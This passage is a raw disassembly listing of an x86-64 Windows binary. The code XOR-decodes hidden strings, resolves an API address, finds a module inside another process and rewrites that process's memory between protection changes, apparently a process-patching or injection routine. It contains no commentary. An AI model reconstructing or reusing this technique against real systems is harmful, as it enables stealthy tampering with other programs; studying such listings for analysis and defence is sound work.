mov eax, dword [rbp + 0x5124]
cdqe
mov byte [rdx + rax], cl
add dword [rbp + 0x5124], 1
cmp dword [rbp + 0x5124], 0xb
jle 0x14000991d
nop
lea rax, [rbp + 0x22f4]
mov r8d, 1
mov edx, 0
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_LoadLibraryExA]
call rax
mov qword [rbp + 0x5270], rax
lea rax, [rbp + 0x22e0]
mov qword [rbp + 0x5118], rax
mov rax, qword [rbp + 0x5118]
mov qword [rbp + 0x5110], rax
mov rax, qword [rbp + 0x5110]
movzx eax, byte [rax + 0xf]
test al, al
setne al
test al, al
je 0x140009a70
mov rax, qword [rbp + 0x5118]
mov rdx, qword [rbp + 0x5118]
mov qword [rbp + 0x5108], rdx
mov qword [rbp + 0x5100], rax
mov dword [rbp + 0x50fc], 0
jmp 0x140009a66
mov eax, dword [rbp + 0x50fc]
movsxd rdx, eax
mov rax, qword [rbp + 0x5100]
add rax, rdx
movzx r8d, byte [rax]
mov eax, dword [rbp + 0x50fc]
movsxd rdx, eax
imul rdx, rdx, 0x51eb851f
shr rdx, 0x20
sar edx, 4
mov ecx, eax
sar ecx, 0x1f
sub edx, ecx
imul ecx, edx, 0x32
sub eax, ecx
mov edx, eax
mov eax, edx
add eax, 0x30
mov ecx, r8d
xor ecx, eax
mov rdx, qword [rbp + 0x5108]
mov eax, dword [rbp + 0x50fc]
cdqe
mov byte [rdx + rax], cl
add dword [rbp + 0x50fc], 1
cmp dword [rbp + 0x50fc], 0xf
jle 0x140009a07
nop
lea rdx, [rbp + 0x22e0]
mov rax, qword [rbp + 0x5270]
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetProcAddress]
call rax
mov qword [rbp + 0x5268], rax
lea rax, [rbp + 0x21f2]
lea rdx, [rbp + 0x4fc7]
mov rcx, rax
call fcn.140003922
lea rax, [rbp + 0x21f2]
mov qword [rbp + 0x50f0], rax
mov rax, qword [rbp + 0x50f0]
movzx eax, byte [rax + 0xd]
test al, al
setne al
test al, al
je 0x140009b5e
lea rax, [rbp + 0x21f2]
lea rdx, [rbp + 0x21f2]
mov qword [rbp + 0x50e8], rdx
mov qword [rbp + 0x50e0], rax
mov dword [rbp + 0x50dc], 0
jmp 0x140009b54
mov eax, dword [rbp + 0x50dc]
movsxd rdx, eax
mov rax, qword [rbp + 0x50e0]
add rax, rdx
movzx r8d, byte [rax]
mov eax, dword [rbp + 0x50dc]
movsxd rdx, eax
imul rdx, rdx, 0x51eb851f
shr rdx, 0x20
sar edx, 4
mov ecx, eax
sar ecx, 0x1f
sub edx, ecx
imul ecx, edx, 0x32
sub eax, ecx
mov edx, eax
mov eax, edx
add eax, 0x30
mov ecx, r8d
xor ecx, eax
mov rdx, qword [rbp + 0x50e8]
mov eax, dword [rbp + 0x50dc]
cdqe
mov byte [rdx + rax], cl
add dword [rbp + 0x50dc], 1
cmp dword [rbp + 0x50dc], 0xd
jle 0x140009af5
nop
lea rax, [rbp + 0x21f2]
mov rdx, qword [rbp + 0x5268]
mov r8, rdx
mov rdx, rax
lea rax, str._s_p_n
mov rcx, rax
call fcn.140001450
mov dword [rbp + 0x50d8], 0
jmp 0x140009ba4
mov eax, dword [rbp + 0x50d8]
cdqe
mov byte [rbp + rax + 0x21f2], 0
add dword [rbp + 0x50d8], 1
cmp dword [rbp + 0x50d8], 0xd
jle 0x140009b8d
nop
mov rax, qword [rbp + 0x5268]
mov qword [rbp + 0x5260], rax
mov rdx, qword [rbp + 0x5260]
mov rax, qword [rbp + 0x5270]
sub rdx, rax
mov dword [rbp + 0x525c], edx
lea rax, [rbp + 0x21e5]
lea rdx, [rbp + 0x4fc8]
mov rcx, rax
call fcn.1400039a4
lea rax, [rbp + 0x21e5]
mov qword [rbp + 0x50d0], rax
mov rax, qword [rbp + 0x50d0]
movzx eax, byte [rax + 0xc]
test al, al
setne al
test al, al
je 0x140009ca0
lea rax, [rbp + 0x21e5]
lea rdx, [rbp + 0x21e5]
mov qword [rbp + 0x50c8], rdx
mov qword [rbp + 0x50c0], rax
mov dword [rbp + 0x50bc], 0
jmp 0x140009c96
mov eax, dword [rbp + 0x50bc]
movsxd rdx, eax
mov rax, qword [rbp + 0x50c0]
add rax, rdx
movzx r8d, byte [rax]
mov eax, dword [rbp + 0x50bc]
movsxd rdx, eax
imul rdx, rdx, 0x51eb851f
shr rdx, 0x20
sar edx, 4
mov ecx, eax
sar ecx, 0x1f
sub edx, ecx
imul ecx, edx, 0x32
sub eax, ecx
mov edx, eax
mov eax, edx
add eax, 0x30
mov ecx, r8d
xor ecx, eax
mov rdx, qword [rbp + 0x50c8]
mov eax, dword [rbp + 0x50bc]
cdqe
mov byte [rdx + rax], cl
add dword [rbp + 0x50bc], 1
cmp dword [rbp + 0x50bc], 0xc
jle 0x140009c37
nop
lea rax, [rbp + 0x21e5]
mov edx, dword [rbp + 0x525c]
mov r8d, edx
mov rdx, rax
lea rax, str._s_p_n
mov rcx, rax
call fcn.140001450
mov dword [rbp + 0x50b8], 0
jmp 0x140009ce5
mov eax, dword [rbp + 0x50b8]
cdqe
mov byte [rbp + rax + 0x21e5], 0
add dword [rbp + 0x50b8], 1
cmp dword [rbp + 0x50b8], 0xc
jle 0x140009cce
nop
mov rax, qword [rbp + 0x2348]
lea rcx, [rbp + 0x1dc]
lea rdx, [rbp + 0x1e0]
mov r9, rcx
mov r8d, 0x2000
mov rcx, rax
call sub.PSAPI.DLL_EnumProcessModules
test eax, eax
setne al
test al, al
je 0x14000a023
mov dword [rbp + 0x537c], 0
jmp 0x14000a005
mov eax, dword [rbp + 0x537c]
cdqe
mov rdx, qword [rbp + rax*8 + 0x1e0]
mov rax, qword [rbp + 0x2348]
lea rcx, [rbp - 0x10]
mov r9d, 0x104
mov r8, rcx
mov rcx, rax
call sub.PSAPI.DLL_GetModuleFileNameExA
test eax, eax
setne al
test al, al
je 0x140009ffe
lea rax, [rbp + 0x4fc9]
mov rcx, rax
call fcn.1400734f0
lea rcx, [rbp + 0x4fc9]
lea rdx, [rbp - 0x10]
lea rax, [rbp - 0x30]
mov r8, rcx
mov rcx, rax
call fcn.1400aae50
lea rax, [rbp + 0x4fc9]
mov rcx, rax
call fcn.140073520
lea rax, [rbp + 0x22f4]
mov qword [rbp + 0x50b0], rax
mov rax, qword [rbp + 0x50b0]
mov qword [rbp + 0x50a8], rax
mov rax, qword [rbp + 0x50a8]
movzx eax, byte [rax + 0xb]
test al, al
setne al
test al, al
je 0x140009e67
mov rax, qword [rbp + 0x50b0]
mov rdx, qword [rbp + 0x50b0]
mov qword [rbp + 0x50a0], rdx
mov qword [rbp + 0x5098], rax
mov dword [rbp + 0x5094], 0
jmp 0x140009e5d
mov eax, dword [rbp + 0x5094]
movsxd rdx, eax
mov rax, qword [rbp + 0x5098]
add rax, rdx
movzx r8d, byte [rax]
mov eax, dword [rbp + 0x5094]
movsxd rdx, eax
imul rdx, rdx, 0x51eb851f
shr rdx, 0x20
sar edx, 4
mov ecx, eax
sar ecx, 0x1f
sub edx, ecx
imul ecx, edx, 0x32
sub eax, ecx
mov edx, eax
mov eax, edx
add eax, 0x30
mov ecx, r8d
xor ecx, eax
mov rdx, qword [rbp + 0x50a0]
mov eax, dword [rbp + 0x5094]
cdqe
mov byte [rdx + rax], cl
add dword [rbp + 0x5094], 1
cmp dword [rbp + 0x5094], 0xb
jle 0x140009dfe
nop
lea rdx, [rbp + 0x22f4]
lea rax, [rbp - 0x30]
mov r8d, 0
mov rcx, rax
call fcn.140030b60
cmp rax, 0xffffffffffffffff
setne al
test al, al
je 0x140009ff2
mov eax, dword [rbp + 0x537c]
cdqe
mov rdx, qword [rbp + rax*8 + 0x1e0]
lea rax, [rbp - 0x10]
mov r8, rdx
mov rdx, rax
lea rax, str._t_s__0x_08X__n
mov rcx, rax
call fcn.140001450
mov eax, dword [rbp + 0x537c]
cdqe
mov rax, qword [rbp + rax*8 + 0x1e0]
mov qword [rbp + 0x5380], rax
lea rax, [rbp + 0xf6]
lea rdx, [rbp + 0x4fca]
mov rcx, rax
call fcn.140003a1e
mov eax, dword [rbp + 0x537c]
cdqe
mov r8, qword [rbp + rax*8 + 0x1e0]
lea rax, [rbp + 0xf6]
mov qword [rbp + 0x5088], rax
mov rax, qword [rbp + 0x5088]
movzx eax, byte [rax + 0xa]
test al, al
setne al
test al, al
je 0x140009fac
lea rax, [rbp + 0xf6]
lea rdx, [rbp + 0xf6]
mov qword [rbp + 0x5080], rdx
mov qword [rbp + 0x5078], rax
mov dword [rbp + 0x5074], 0
jmp 0x140009fa2
mov eax, dword [rbp + 0x5074]
movsxd rdx, eax
mov rax, qword [rbp + 0x5078]
add rax, rdx
movzx r9d, byte [rax]
mov eax, dword [rbp + 0x5074]
movsxd rdx, eax
imul rdx, rdx, 0x51eb851f
shr rdx, 0x20
sar edx, 4
mov ecx, eax
sar ecx, 0x1f
sub edx, ecx
imul ecx, edx, 0x32
sub eax, ecx
mov edx, eax
mov eax, edx
add eax, 0x30
mov ecx, r9d
xor ecx, eax
mov rdx, qword [rbp + 0x5080]
mov eax, dword [rbp + 0x5074]
cdqe
mov byte [rdx + rax], cl
add dword [rbp + 0x5074], 1
cmp dword [rbp + 0x5074], 0xa
jle 0x140009f43
nop
lea rax, [rbp + 0xf6]
mov rdx, rax
lea rax, str._s_p_n
mov rcx, rax
call fcn.140001450
mov dword [rbp + 0x5070], 0
jmp 0x140009fe8
mov eax, dword [rbp + 0x5070]
cdqe
mov byte [rbp + rax + 0xf6], 0
add dword [rbp + 0x5070], 1
cmp dword [rbp + 0x5070], 0xa
jle 0x140009fd1
nop
lea rax, [rbp - 0x30]
mov rcx, rax
call fcn.1400ab570
add dword [rbp + 0x537c], 1
mov eax, dword [rbp + 0x537c]
movsxd rdx, eax
mov eax, dword [rbp + 0x1dc]
mov eax, eax
shr rax, 3
cmp rdx, rax
jb 0x140009d31
mov eax, dword [rbp + 0x525c]
movsxd rdx, eax
mov rax, qword [rbp + 0x5380]
add rax, rdx
mov qword [rbp + 0x1d0], rax
lea rax, [rbp + 0x1b0]
lea rdx, [rbp + 0x4fcb]
mov rcx, rax
call fcn.140003a88
mov r8, qword [rbp + 0x1d0]
lea rax, [rbp + 0x1b0]
mov qword [rbp + 0x5068], rax
mov rax, qword [rbp + 0x5068]
movzx eax, byte [rax + 0x13]
test al, al
setne al
test al, al
je 0x14000a111
lea rax, [rbp + 0x1b0]
lea rdx, [rbp + 0x1b0]
mov qword [rbp + 0x5060], rdx
mov qword [rbp + 0x5058], rax
mov dword [rbp + 0x5054], 0
jmp 0x14000a107
mov eax, dword [rbp + 0x5054]
movsxd rdx, eax
mov rax, qword [rbp + 0x5058]
add rax, rdx
movzx r9d, byte [rax]
mov eax, dword [rbp + 0x5054]
movsxd rdx, eax
imul rdx, rdx, 0x51eb851f
shr rdx, 0x20
sar edx, 4
mov ecx, eax
sar ecx, 0x1f
sub edx, ecx
imul ecx, edx, 0x32
sub eax, ecx
mov edx, eax
mov eax, edx
add eax, 0x30
mov ecx, r9d
xor ecx, eax
mov rdx, qword [rbp + 0x5060]
mov eax, dword [rbp + 0x5054]
cdqe
mov byte [rdx + rax], cl
add dword [rbp + 0x5054], 1
cmp dword [rbp + 0x5054], 0x13
jle 0x14000a0a8
nop
lea rax, [rbp + 0x1b0]
mov rdx, rax
lea rax, str._s_p_n
mov rcx, rax
call fcn.140001450
mov dword [rbp + 0x5050], 0
jmp 0x14000a14d
mov eax, dword [rbp + 0x5050]
cdqe
mov byte [rbp + rax + 0x1b0], 0
add dword [rbp + 0x5050], 1
cmp dword [rbp + 0x5050], 0x13
jle 0x14000a136
nop
mov rax, qword [rbp + 0x1d0]
and eax, 0xfff
mov qword [rbp + 0x5250], rax
lea rax, [rbp + 0x1a3]
lea rdx, [rbp + 0x4fcc]
mov rcx, rax
call fcn.140003b3a
lea rax, [rbp + 0x1a3]
mov qword [rbp + 0x5048], rax
mov rax, qword [rbp + 0x5048]
movzx eax, byte [rax + 0xc]
test al, al
setne al
test al, al
je 0x14000a237
lea rax, [rbp + 0x1a3]
lea rdx, [rbp + 0x1a3]
mov qword [rbp + 0x5040], rdx
mov qword [rbp + 0x5038], rax
mov dword [rbp + 0x5034], 0
jmp 0x14000a22d
mov eax, dword [rbp + 0x5034]
movsxd rdx, eax
mov rax, qword [rbp + 0x5038]
add rax, rdx
movzx r8d, byte [rax]
mov eax, dword [rbp + 0x5034]
movsxd rdx, eax
imul rdx, rdx, 0x51eb851f
shr rdx, 0x20
sar edx, 4
mov ecx, eax
sar ecx, 0x1f
sub edx, ecx
imul ecx, edx, 0x32
sub eax, ecx
mov edx, eax
mov eax, edx
add eax, 0x30
mov ecx, r8d
xor ecx, eax
mov rdx, qword [rbp + 0x5040]
mov eax, dword [rbp + 0x5034]
cdqe
mov byte [rdx + rax], cl
add dword [rbp + 0x5034], 1
cmp dword [rbp + 0x5034], 0xc
jle 0x14000a1ce
nop
lea rax, [rbp + 0x1a3]
mov rdx, qword [rbp + 0x5250]
mov r8, rdx
mov rdx, rax
lea rax, str._s_p_n
mov rcx, rax
call fcn.140001450
mov dword [rbp + 0x5030], 0
jmp 0x14000a27d
mov eax, dword [rbp + 0x5030]
cdqe
mov byte [rbp + rax + 0x1a3], 0
add dword [rbp + 0x5030], 1
cmp dword [rbp + 0x5030], 0xc
jle 0x14000a266
nop
mov r10, qword [0x14012c048]
mov rax, qword [rbp + 0x2348]
lea r8, [rbp + 0x2490]
lea rdx, [rbp + 0x1d0]
lea rcx, [rbp + 0x22cc]
mov qword [rsp + 0x20], rcx
mov r9d, 4
mov rcx, rax
call r10
mov dword [rbp + 0x527c], eax
lea rax, [rbp + 0x170]
lea rdx, [rbp + 0x4fcd]
mov rcx, rax
call fcn.140003bb4
lea rax, [rbp + 0x170]
mov qword [rbp + 0x5028], rax
mov rax, qword [rbp + 0x5028]
movzx eax, byte [rax + 0x27]
test al, al
setne al
test al, al
je 0x14000a38e
lea rax, [rbp + 0x170]
lea rdx, [rbp + 0x170]
mov qword [rbp + 0x5020], rdx
mov qword [rbp + 0x5018], rax
mov dword [rbp + 0x5014], 0
jmp 0x14000a384
mov eax, dword [rbp + 0x5014]
movsxd rdx, eax
mov rax, qword [rbp + 0x5018]
add rax, rdx
movzx r8d, byte [rax]
mov eax, dword [rbp + 0x5014]
movsxd rdx, eax
imul rdx, rdx, 0x51eb851f
shr rdx, 0x20
sar edx, 4
mov ecx, eax
sar ecx, 0x1f
sub edx, ecx
imul ecx, edx, 0x32
sub eax, ecx
mov edx, eax
mov eax, edx
add eax, 0x30
mov ecx, r8d
xor ecx, eax
mov rdx, qword [rbp + 0x5020]
mov eax, dword [rbp + 0x5014]
cdqe
mov byte [rdx + rax], cl
add dword [rbp + 0x5014], 1
cmp dword [rbp + 0x5014], 0x27
jle 0x14000a325
nop
lea rax, [rbp + 0x170]
mov edx, dword [rbp + 0x527c]
mov r8d, edx
mov rdx, rax
lea rax, [0x1401000e1]
mov rcx, rax
call fcn.140001450
mov dword [rbp + 0x5010], 0
jmp 0x14000a3d3
mov eax, dword [rbp + 0x5010]
cdqe
mov byte [rbp + rax + 0x170], 0
add dword [rbp + 0x5010], 1
cmp dword [rbp + 0x5010], 0x27
jle 0x14000a3bc
nop
mov r10, qword [0x14012c040]
mov r8, qword [rbp + 0x2490]
mov rcx, qword [0x14012c030]
mov rax, qword [rbp + 0x1d0]
mov rdx, rax
mov rax, qword [rbp + 0x5250]
add rax, rdx
mov r11, rax
mov rax, qword [rbp + 0x2348]
lea rdx, [rbp + 0x198]
mov qword [rsp + 0x20], rdx
mov r9, r8
mov r8, rcx
mov rdx, r11
mov rcx, rax
call r10
mov dword [rbp + 0x527c], eax
lea rax, [rbp + 0x140]
lea rdx, [rbp + 0x4fce]
mov rcx, rax
call fcn.140003d06
lea rax, [rbp + 0x140]
mov qword [rbp + 0x5008], rax
mov rax, qword [rbp + 0x5008]
movzx eax, byte [rax + 0x27]
test al, al
setne al
test al, al
je 0x14000a4fe
lea rax, [rbp + 0x140]
lea rdx, [rbp + 0x140]
mov qword [rbp + 0x5000], rdx
mov qword [rbp + 0x4ff8], rax
mov dword [rbp + 0x4ff4], 0
jmp 0x14000a4f4
mov eax, dword [rbp + 0x4ff4]
movsxd rdx, eax
mov rax, qword [rbp + 0x4ff8]
add rax, rdx
movzx r8d, byte [rax]
mov eax, dword [rbp + 0x4ff4]
movsxd rdx, eax
imul rdx, rdx, 0x51eb851f
shr rdx, 0x20
sar edx, 4
mov ecx, eax
sar ecx, 0x1f
sub edx, ecx
imul ecx, edx, 0x32
sub eax, ecx
mov edx, eax
mov eax, edx
add eax, 0x30
mov ecx, r8d
xor ecx, eax
mov rdx, qword [rbp + 0x5000]
mov eax, dword [rbp + 0x4ff4]
cdqe
mov byte [rdx + rax], cl
add dword [rbp + 0x4ff4], 1
cmp dword [rbp + 0x4ff4], 0x27
jle 0x14000a495
nop
lea rax, [rbp + 0x140]
mov edx, dword [rbp + 0x527c]
mov r8d, edx
mov rdx, rax
lea rax, [0x1401000e1]
mov rcx, rax
call fcn.140001450
mov dword [rbp + 0x4ff0], 0
jmp 0x14000a543
mov eax, dword [rbp + 0x4ff0]
cdqe
mov byte [rbp + rax + 0x140], 0
add dword [rbp + 0x4ff0], 1
cmp dword [rbp + 0x4ff0], 0x27
jle 0x14000a52c
nop
mov r10, qword [0x14012c048]
mov rax, qword [rbp + 0x2348]
lea r8, [rbp + 0x2490]
lea rdx, [rbp + 0x1d0]
lea rcx, [rbp + 0x22cc]
mov qword [rsp + 0x20], rcx
mov r9d, 0x20
mov rcx, rax
call r10
mov dword [rbp + 0x527c], eax
lea rax, [rbp + 0x110]
lea rdx, [rbp + 0x4fcf]
mov rcx, rax
call fcn.140003e58
lea rax, [rbp + 0x110]
mov qword [rbp + 0x4fe8], rax
mov rax, qword [rbp + 0x4fe8]
movzx eax, byte [rax + 0x27]
test al, al
setne al
test al, al
je 0x14000a654
lea rax, [rbp + 0x110]
lea rdx, [rbp + 0x110]
mov qword [rbp + 0x4fe0], rdx
mov qword [rbp + 0x4fd8], rax
mov dword [rbp + 0x4fd4], 0
jmp 0x14000a64a
mov eax, dword [rbp + 0x4fd4]
movsxd rdx, eax
mov rax, qword [rbp + 0x4fd8]
add rax, rdx
movzx r8d, byte [rax]
mov eax, dword [rbp + 0x4fd4]
movsxd rdx, eax
imul rdx, rdx, 0x51eb851f
shr rdx, 0x20
sar edx, 4
mov ecx, eax
sar ecx, 0x1f
sub edx, ecx
imul ecx, edx, 0x32
sub eax, ecx
mov edx, eax
mov eax, edx
add eax, 0x30
mov ecx, r8d
xor ecx, eax
mov rdx, qword [rbp + 0x4fe0]
mov eax, dword [rbp + 0x4fd4]
cdqe
mov byte [rdx + rax], cl
add dword [rbp + 0x4fd4], 1
cmp dword [rbp + 0x4fd4], 0x27
jle 0x14000a5eb
nop
lea rax, [rbp + 0x110]
mov edx, dword [rbp + 0x527c]
mov r8d, edx
mov rdx, rax
lea rax, [0x1401000e1]
mov rcx, rax
call fcn.140001450
mov dword [rbp + 0x4fd0], 0
jmp 0x14000a699
mov eax, dword [rbp + 0x4fd0]
cdqe
mov byte [rbp + rax + 0x110], 0
add dword [rbp + 0x4fd0], 1
cmp dword [rbp + 0x4fd0], 0x27
jle 0x14000a682
nop
mov rax, qword [rbp + 0x2348]
mov rcx, rax
call fcn.140002c01
mov rax, qword [rbp + 0x1d0]
mov rdx, rax
mov rax, qword [rbp + 0x5250]
add rax, rdx
mov rdx, rax
mov rax, qword [rbp + 0x2348]
mov rcx, rax
call fcn.140002831
mov rdx, qword [0x14012c078]
mov rax, qword [rbp + 0x2348]
mov rcx, rax
call rdx
mov ebx, 1
lea rax, [rbp + 0x24a0]
mov rcx, rax
call fcn.1400ab570
cmp ebx, 1
jne 0x14000a709
mov esi, 0
mov eax, esi
jmp 0x14000c04f
add rsp, 0x5420
pop rbx
pop rsi
pop rbp
ret